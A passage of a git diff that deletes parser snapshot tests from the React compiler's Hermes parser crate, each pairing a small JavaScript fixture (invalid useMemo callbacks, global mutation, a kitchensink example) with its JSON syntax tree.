-      "range": [
-        0,
-        480
-      ],
-      "loc": null,
-      "range": [
-        0,
-        480
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    480
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-useMemo-async-callback.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-useMemo-async-callback.js.snap
deleted file mode 100644
index 1e20b1c31829..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-useMemo-async-callback.js.snap
+++ /dev/null
@@ -1,214 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.invalid-useMemo-async-callback.js
----
-Input:
-function component(a, b) {
-  let x = useMemo(async () => {
-    await a;
-  }, []);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            22,
-            23
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    33,
-                    34
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useMemo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      37,
-                      44
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [],
-                      "body": {
-                        "type": "BlockStatement",
-                        "body": [
-                          {
-                            "type": "ExpressionStatement",
-                            "expression": {
-                              "type": "AwaitExpression",
-                              "argument": {
-                                "type": "Identifier",
-                                "name": "a",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  69,
-                                  70
-                                ]
-                              },
-                              "loc": null,
-                              "range": [
-                                63,
-                                70
-                              ]
-                            },
-                            "directive": null,
-                            "loc": null,
-                            "range": [
-                              63,
-                              71
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          57,
-                          75
-                        ]
-                      },
-                      "generator": false,
-                      "async": true,
-                      "loc": null,
-                      "range": [
-                        45,
-                        75
-                      ],
-                      "expression": false,
-                      "loc": null,
-                      "range": [
-                        45,
-                        75
-                      ]
-                    },
-                    {
-                      "type": "ArrayExpression",
-                      "elements": [],
-                      "loc": null,
-                      "range": [
-                        77,
-                        79
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    37,
-                    80
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  33,
-                  80
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              29,
-              81
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                91,
-                92
-              ]
-            },
-            "loc": null,
-            "range": [
-              84,
-              93
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          25,
-          95
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        95
-      ],
-      "loc": null,
-      "range": [
-        0,
-        95
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    95
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-useMemo-callback-args.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-useMemo-callback-args.js.snap
deleted file mode 100644
index f2be3e2408a1..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-useMemo-callback-args.js.snap
+++ /dev/null
@@ -1,196 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.invalid-useMemo-callback-args.js
----
-Input:
-function component(a, b) {
-  let x = useMemo((c) => a, []);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            22,
-            23
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    33,
-                    34
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useMemo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      37,
-                      44
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [
-                        {
-                          "type": "Identifier",
-                          "name": "c",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            46,
-                            47
-                          ]
-                        }
-                      ],
-                      "body": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          52,
-                          53
-                        ]
-                      },
-                      "generator": true,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        45,
-                        53
-                      ],
-                      "expression": true,
-                      "loc": null,
-                      "range": [
-                        45,
-                        53
-                      ]
-                    },
-                    {
-                      "type": "ArrayExpression",
-                      "elements": [],
-                      "loc": null,
-                      "range": [
-                        55,
-                        57
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    37,
-                    58
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  33,
-                  58
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              29,
-              59
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                69,
-                70
-              ]
-            },
-            "loc": null,
-            "range": [
-              62,
-              71
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          25,
-          73
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        73
-      ],
-      "loc": null,
-      "range": [
-        0,
-        73
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    73
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.mutate-captured-arg-separately.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.mutate-captured-arg-separately.js.snap
deleted file mode 100644
index fd43ec499888..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.mutate-captured-arg-separately.js.snap
+++ /dev/null
@@ -1,300 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.mutate-captured-arg-separately.js
----
-Input:
-// Let's not support identifiers defined after use for now.
-function component(a) {
-  let y = function () {
-    m(x);
-  };
-
-  let x = { a };
-  m(x);
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          69,
-          78
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            79,
-            80
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    90,
-                    91
-                  ]
-                },
-                "init": {
-                  "type": "FunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "Identifier",
-                            "name": "m",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              112,
-                              113
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                114,
-                                115
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            112,
-                            116
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          112,
-                          117
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      106,
-                      121
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    94,
-                    121
-                  ],
-                  "loc": null,
-                  "range": [
-                    94,
-                    121
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  90,
-                  121
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              86,
-              122
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    130,
-                    131
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          136,
-                          137
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          136,
-                          137
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        136,
-                        137
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    134,
-                    139
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  130,
-                  139
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              126,
-              140
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "m",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  143,
-                  144
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    145,
-                    146
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                143,
-                147
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              143,
-              148
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                158,
-                159
-              ]
-            },
-            "loc": null,
-            "range": [
-              151,
-              160
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          82,
-          162
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        60,
-        162
-      ],
-      "loc": null,
-      "range": [
-        60,
-        162
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    60,
-    162
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.mutate-global-increment-op-invalid-react.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.mutate-global-increment-op-invalid-react.js.snap
deleted file mode 100644
index 06a83ad5330e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.mutate-global-increment-op-invalid-react.js.snap
+++ /dev/null
@@ -1,166 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.mutate-global-increment-op-invalid-react.js
----
-Input:
-let renderCount = 0;
-
-function NoHooks() {
-  renderCount++;
-  return <div />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "VariableDeclaration",
-      "kind": "let",
-      "declarations": [
-        {
-          "type": "VariableDeclarator",
-          "id": {
-            "type": "Identifier",
-            "name": "renderCount",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              4,
-              15
-            ]
-          },
-          "init": {
-            "type": "NumericLiteral",
-            "value": 0.0,
-            "loc": null,
-            "range": [
-              18,
-              19
-            ]
-          },
-          "loc": null,
-          "range": [
-            4,
-            19
-          ]
-        }
-      ],
-      "loc": null,
-      "range": [
-        0,
-        20
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "NoHooks",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          31,
-          38
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "UpdateExpression",
-              "operator": "++",
-              "argument": {
-                "type": "Identifier",
-                "name": "renderCount",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  45,
-                  56
-                ]
-              },
-              "prefix": false,
-              "loc": null,
-              "range": [
-                45,
-                58
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              45,
-              59
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    70,
-                    73
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  69,
-                  76
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                69,
-                76
-              ]
-            },
-            "loc": null,
-            "range": [
-              62,
-              77
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          41,
-          79
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        22,
-        79
-      ],
-      "loc": null,
-      "range": [
-        22,
-        79
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    79
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.reassignment-to-global.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.reassignment-to-global.js.snap
deleted file mode 100644
index 5e18fc9a1195..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.reassignment-to-global.js.snap
+++ /dev/null
@@ -1,135 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.reassignment-to-global.js
----
-Input:
-function Component() {
-  // Cannot assign to globals
-  someUnknownGlobal = true;
-  moduleLocal = true;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "Identifier",
-                "name": "someUnknownGlobal",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  55,
-                  72
-                ]
-              },
-              "right": {
-                "type": "BooleanLiteral",
-                "value": true,
-                "loc": null,
-                "range": [
-                  75,
-                  79
-                ]
-              },
-              "loc": null,
-              "range": [
-                55,
-                79
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              55,
-              80
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "Identifier",
-                "name": "moduleLocal",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  83,
-                  94
-                ]
-              },
-              "right": {
-                "type": "BooleanLiteral",
-                "value": true,
-                "loc": null,
-                "range": [
-                  97,
-                  101
-                ]
-              },
-              "loc": null,
-              "range": [
-                83,
-                101
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              83,
-              102
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          104
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        104
-      ],
-      "loc": null,
-      "range": [
-        0,
-        104
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    104
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.todo-kitchensink.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.todo-kitchensink.js.snap
deleted file mode 100644
index a74cb8c19a97..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.todo-kitchensink.js.snap
+++ /dev/null
@@ -1,2367 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.todo-kitchensink.js
----
-Input:
-function foo([a, b], { c, d, e = "e" }, f = "f", ...args) {
-  let i = 0;
-  var x = [];
-
-  class Bar {
-    #secretSauce = 42;
-    constructor() {
-      console.log(this.#secretSauce);
-    }
-  }
-
-  const g = { b() {}, c: () => {} };
-  const { z, aa = "aa" } = useCustom();
-
-  <Button haha={1}></Button>;
-  <Button>{/** empty */}</Button>;
-
-  const j = function bar([quz, qux], ...args) {};
-
-  for (; i < 3; i += 1) {
-    x.push(i);
-  }
-  for (; i < 3; ) {
-    break;
-  }
-  for (;;) {
-    break;
-  }
-
-  graphql`
-    ${g}
-  `;
-
-  graphql`\\t\n`;
-
-  for (c of [1, 2]) {
-  }
-  for ([v] of [[1], [2]]) {
-  }
-  for ({ v } of [{ v: 1 }, { v: 2 }]) {
-  }
-
-  for (let x in { a: 1 }) {
-  }
-
-  let updateIdentifier = 0;
-  --updateIdentifier;
-  ++updateIdentifier;
-  updateIdentifier.y++;
-  updateIdentifier.y--;
-
-  switch (i) {
-    case 1 + 1: {
-    }
-    case foo(): {
-    }
-    case x.y: {
-    }
-    default: {
-    }
-  }
-
-  function component(a) {
-    // Add support for function declarations once we support `var` hoisting.
-    function t() {}
-    t();
-  }
-}
-
-let moduleLocal = false;
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "ArrayPattern",
-          "elements": [
-            {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                14,
-                15
-              ]
-            },
-            {
-              "type": "Identifier",
-              "name": "b",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                17,
-                18
-              ]
-            }
-          ],
-          "loc": null,
-          "range": [
-            13,
-            19
-          ]
-        },
-        {
-          "type": "ObjectPattern",
-          "properties": [
-            {
-              "type": "Property",
-              "key": {
-                "type": "Identifier",
-                "name": "c",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  23,
-                  24
-                ]
-              },
-              "value": {
-                "type": "Identifier",
-                "name": "c",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  23,
-                  24
-                ]
-              },
-              "kind": "init",
-              "computed": false,
-              "shorthand": true,
-              "method": false,
-              "loc": null,
-              "range": [
-                23,
-                24
-              ]
-            },
-            {
-              "type": "Property",
-              "key": {
-                "type": "Identifier",
-                "name": "d",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  26,
-                  27
-                ]
-              },
-              "value": {
-                "type": "Identifier",
-                "name": "d",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  26,
-                  27
-                ]
-              },
-              "kind": "init",
-              "computed": false,
-              "shorthand": true,
-              "method": false,
-              "loc": null,
-              "range": [
-                26,
-                27
-              ]
-            },
-            {
-              "type": "Property",
-              "key": {
-                "type": "Identifier",
-                "name": "e",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  29,
-                  30
-                ]
-              },
-              "value": {
-                "type": "AssignmentPattern",
-                "left": {
-                  "type": "Identifier",
-                  "name": "e",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    29,
-                    30
-                  ]
-                },
-                "right": {
-                  "type": "StringLiteral",
-                  "value": "e",
-                  "loc": null,
-                  "range": [
-                    33,
-                    36
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  29,
-                  36
-                ]
-              },
-              "kind": "init",
-              "computed": false,
-              "shorthand": true,
-              "method": false,
-              "loc": null,
-              "range": [
-                29,
-                36
-              ]
-            }
-          ],
-          "loc": null,
-          "range": [
-            21,
-            38
-          ]
-        },
-        {
-          "type": "AssignmentPattern",
-          "left": {
-            "type": "Identifier",
-            "name": "f",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              40,
-              41
-            ]
-          },
-          "right": {
-            "type": "StringLiteral",
-            "value": "f",
-            "loc": null,
-            "range": [
-              44,
-              47
-            ]
-          },
-          "loc": null,
-          "range": [
-            40,
-            47
-          ]
-        },
-        {
-          "type": "RestElement",
-          "argument": {
-            "type": "Identifier",
-            "name": "args",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              52,
-              56
-            ]
-          },
-          "loc": null,
-          "range": [
-            49,
-            56
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "i",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    66,
-                    67
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    70,
-                    71
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  66,
-                  71
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              62,
-              72
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "var",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    79,
-                    80
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    83,
-                    85
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  79,
-                  85
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              75,
-              86
-            ]
-          },
-          {
-            "type": "ClassDeclaration",
-            "id": {
-              "type": "Identifier",
-              "name": "Bar",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                96,
-                99
-              ]
-            },
-            "superClass": null,
-            "body": {
-              "type": "ClassBody",
-              "body": [
-                {
-                  "type": "ClassPrivateProperty",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "secretSauce",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      106,
-                      118
-                    ]
-                  },
-                  "value": {
-                    "type": "NumericLiteral",
-                    "value": 42.0,
-                    "loc": null,
-                    "range": [
-                      121,
-                      123
-                    ]
-                  },
-                  "static": false,
-                  "loc": null,
-                  "range": [
-                    106,
-                    124
-                  ]
-                },
-                {
-                  "type": "MethodDefinition",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "constructor",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      129,
-                      140
-                    ]
-                  },
-                  "value": {
-                    "type": "FunctionExpression",
-                    "id": null,
-                    "params": [],
-                    "body": {
-                      "type": "BlockStatement",
-                      "body": [
-                        {
-                          "type": "ExpressionStatement",
-                          "expression": {
-                            "type": "CallExpression",
-                            "callee": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "console",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  151,
-                                  158
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "log",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  159,
-                                  162
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                151,
-                                162
-                              ]
-                            },
-                            "arguments": [
-                              {
-                                "type": "MemberExpression",
-                                "object": {
-                                  "type": "ThisExpression",
-                                  "loc": null,
-                                  "range": [
-                                    163,
-                                    167
-                                  ]
-                                },
-                                "property": {
-                                  "type": "PrivateName",
-                                  "id": {
-                                    "type": "Identifier",
-                                    "name": "secretSauce",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      168,
-                                      180
-                                    ]
-                                  },
-                                  "loc": null,
-                                  "range": [
-                                    168,
-                                    180
-                                  ]
-                                },
-                                "computed": false,
-                                "loc": null,
-                                "range": [
-                                  163,
-                                  180
-                                ]
-                              }
-                            ],
-                            "loc": null,
-                            "range": [
-                              151,
-                              181
-                            ]
-                          },
-                          "directive": null,
-                          "loc": null,
-                          "range": [
-                            151,
-                            182
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        143,
-                        188
-                      ]
-                    },
-                    "generator": false,
-                    "async": false,
-                    "loc": null,
-                    "range": [
-                      140,
-                      188
-                    ],
-                    "loc": null,
-                    "range": [
-                      140,
-                      188
-                    ]
-                  },
-                  "kind": "constructor",
-                  "computed": false,
-                  "static": false,
-                  "loc": null,
-                  "range": [
-                    129,
-                    188
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                100,
-                192
-              ]
-            },
-            "loc": null,
-            "range": [
-              90,
-              192
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "g",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    202,
-                    203
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          208,
-                          209
-                        ]
-                      },
-                      "value": {
-                        "type": "FunctionExpression",
-                        "id": null,
-                        "params": [],
-                        "body": {
-                          "type": "BlockStatement",
-                          "body": [],
-                          "loc": null,
-                          "range": [
-                            212,
-                            214
-                          ]
-                        },
-                        "generator": false,
-                        "async": false,
-                        "loc": null,
-                        "range": [
-                          208,
-                          214
-                        ],
-                        "loc": null,
-                        "range": [
-                          208,
-                          214
-                        ]
-                      },
-                      "kind": "init",
-                      "method": true,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        208,
-                        214
-                      ]
-                    },
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "c",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          216,
-                          217
-                        ]
-                      },
-                      "value": {
-                        "type": "ArrowFunctionExpression",
-                        "id": null,
-                        "params": [],
-                        "body": {
-                          "type": "BlockStatement",
-                          "body": [],
-                          "loc": null,
-                          "range": [
-                            225,
-                            227
-                          ]
-                        },
-                        "generator": false,
-                        "async": false,
-                        "loc": null,
-                        "range": [
-                          219,
-                          227
-                        ],
-                        "expression": false,
-                        "loc": null,
-                        "range": [
-                          219,
-                          227
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        216,
-                        227
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    206,
-                    229
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  202,
-                  229
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              196,
-              230
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
